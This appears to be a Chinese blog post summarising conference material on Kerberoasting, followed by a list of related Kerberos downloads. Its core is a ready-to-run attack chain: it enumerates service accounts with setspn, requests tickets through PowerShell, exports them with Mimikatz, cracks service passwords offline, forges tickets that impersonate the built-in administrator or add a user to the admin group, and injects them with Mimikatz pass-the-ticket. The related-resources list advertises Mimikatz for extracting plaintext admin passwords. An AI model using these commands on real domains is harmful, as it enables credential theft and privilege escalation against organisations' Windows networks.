`

Kerberos攻击

 
阅读更多
参考:
1. http://securityweekly.com/2014/09/26/derbycon-attacking-kerberos-talk-ill-be-checking-out-and-you-should-too/
2. https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf
3. https://github.com/nidem/kerberoast

方法:
1. 查找服务账户
setspn -T DOMAINNAME -F -Q */*

2. 识别user账户,忽略机器账户,通常机器账户密码不太容易破解
3. 获得ticket
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"

原型是:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -Arguemtlist “HTTP / YOURKERB SERVER”

4. 使用Mimikatz从RAM中获得tickets
mimikatz# kerberos::list /export

5. 离线破解服务口令
tgsrepcrack.py -w wordlist.txt *.kirbi

6. 将user伪装成另一个user
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500

或者把user加入一个组(本例为admin组)
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512

7. 使用Mimikatz注入内存
kerberos::ptt sql.kirbi
分享到:
评论

相关推荐

    kerberos的java实现

    **Kerberos协议详解** Kerberos是一种网络身份验证协议,由麻省理工学院开发,旨在提供安全的网络服务。它的核心理念是通过共享密钥的方式进行身份验证,确保通信双方的安全交互。Java语言实现的Kerberos允许开发者...

    Kerberos v5 源代码

    3. **时间同步**:为了防止重放攻击,Kerberos 使用时间戳,要求客户端和服务端有精确的时间同步。 4. **加密机制**:Kerberos 使用对称加密算法,如DES或AES,以及哈希函数进行数据加密和完整性校验。 **二、...

    Kerberos

    它通过提供强大的加密机制,确保用户在访问网络资源时的身份安全,防止中间人攻击和其他形式的欺诈。Kerberos的核心概念是基于密钥分发中心(KDC)来实现的,它包括认证服务器(AS)和票据授予服务器(TGS)。此协议...

    kerberos协议简介.pdf

    Kerberos 协议可以保护网络实体免受窃听和重复攻击。 Kerberos 协议的主要设计者是 Steve Miller 和 Clifford Neuman,它在 1980 年末发布了第 4 版本,该版本主要针对 Project Athena。 Version 5 由 John Kohl ...

    Kerberos 单点登录

    Kerberos 单点登录是一种身份验证方法,它基于Kerberos V5协议,旨在提供安全、便捷的网络访问体验。Kerberos的核心是Key Distribution Center (KDC),它存储和管理用户的加密密钥,使得用户只需一次登录即可访问多...

    Kerberos简介

    ### Kerberos简介与工作原理 #### 一、Kerberos概述 Kerberos是一种网络认证协议,其设计目的是为了在不安全的网络环境中为客户端/服务器应用提供强大的身份验证服务。该协议通过加密技术来确保数据的安全性,并且...

    kerberos认证hive连接代码

    首先,`Kerberos认证`是一种基于票据的认证机制,它通过三向握手确保了通信双方的身份,并防止中间人攻击。在Hive中启用Kerberos,可以确保只有经过授权的用户才能访问数据。 `Hive JdbcListener` 是一个监听器,...

    【清晰】Kerberos安全体系详解.pdf

    为了保障通信的安全,Kerberos采取了时间戳对比措施以防止重放攻击。时间戳是用户请求的一部分,它必须在合理的时间范围内才有效。除此之外,Kerberos还支持权限认证服务,可以在用户与TGS通信时添加权限认证的步骤...

    kerberos安装和介绍文档

    Kerberos基于密钥分发中心(KDC)的概念,它允许用户在一个可信的环境中进行安全的交互,防止中间人攻击和其他类型的欺骗。 **Kerberos工作原理** Kerberos的核心组件包括认证服务器(AS)、票据授予服务器(TGS)...

    CDH Kerberos入门与实战

    Kerberos协议的设计针对的是客户-服务器模型,它能够实现客户端与服务器之间的相互认证,从而保障通信的安全,如防止窃听、重放攻击和数据完整性等。 Kerberos协议的历史可以追溯到麻省理工学院(MIT)为了保护...

    mimikatz获取系统管理员账号明文密码工具

    3. **Kerberos攻击**:mimikatz可以执行Golden Ticket和Silver Ticket攻击,这些攻击允许攻击者伪造Kerberos票证,实现无密码登录或权限提升。 4. **SEH(结构化异常处理)溢出利用**:mimikatz可以用于分析和利用...

    mimikatz源代码

    mimikatz 还支持对Kerberos协议的攻击,如Golden Ticket和Silver Ticket攻击。Golden Ticket允许攻击者创建一个假的TGT(Ticket-Granting Ticket),而Silver Ticket则可以伪造服务票证,绕过身份验证过程。 **4. ...

    Kerberos API

    **Kerberos API** Kerberos API 是一个关键的安全协议,尤其在软件逆向工程领域中扮演着重要角色。这个工具被广泛应用于...通过深入研究Kerberos API,我们不仅可以保护系统免受恶意攻击,还能推动安全技术的进步。

    Kerberos原理及应用

    例如,Kerberos要求时间同步较为严格,因为它使用时间戳来防止重放攻击,如果系统时间不同步可能会导致认证失败。另外,密钥管理也比较复杂,特别是随着用户和服务器数量的增加,密钥分发和管理的难度也会相应提高。...

    Kerberos 网络认证协议

    - **时效性**:为了防止重放攻击,Kerberos中的票据和消息都有明确的有效期。 - **双向认证**:除了客户端对服务端的认证之外,服务端也可以通过票据和服务票据对客户端进行认证。 #### 六、Kerberos的应用实例 - ...

    三步轻松理解Kerberos协议

    然而,Kerberos也存在一些潜在的弱点,例如对密码安全性的依赖,以及可能的中间人攻击,因此在实际部署中需要结合其他安全措施共同使用。 总的来说,理解和掌握Kerberos协议对于网络管理员、系统安全专家以及进行域...

    Hadoop和Kerberos:超越大门的疯狂Hadoop and Kerberos: The Madness Beyond the Gate

    Kerberos的优势在于其强大的安全性,能够有效防止重放攻击、中间人攻击等威胁。同时,Kerberos也支持多领域间的互操作性,使得不同组织之间可以方便地共享资源和服务。 #### Hadoop与Kerberos的集成 随着大数据...

    kerberos的使用和安装包

    它基于密钥分发中心(KDC)的概念,确保用户与服务器之间的通信是安全的,防止中间人攻击和其他形式的身份欺诈。在本压缩包中,你将找到关于Kerberos用户、安装过程以及管理员操作的相关资料。 1. **Kerberos用户**...

    impacket-0.9.9.9

    3. **Kerberos攻击**:Impacket支持Kerberos协议,可以用于票证欺骗和Golden Ticket攻击。 **六、结论** Impacket 0.9.9.9是一个强大的网络安全工具,它提供了一整套协议处理和安全测试的解决方案。无论是专业安全...

    urllib_kerberos-0.2.0

    Kerberos通过加密技术确保了用户的身份,防止中间人攻击,保证了数据传输的安全性。urllib_kerberos-0.2.0将这一功能集成到Python的网络请求库中,使得开发者能够更方便地处理需要Kerberos认证的HTTP请求。 在使用...

Global site tag (gtag.js) - Google Analytics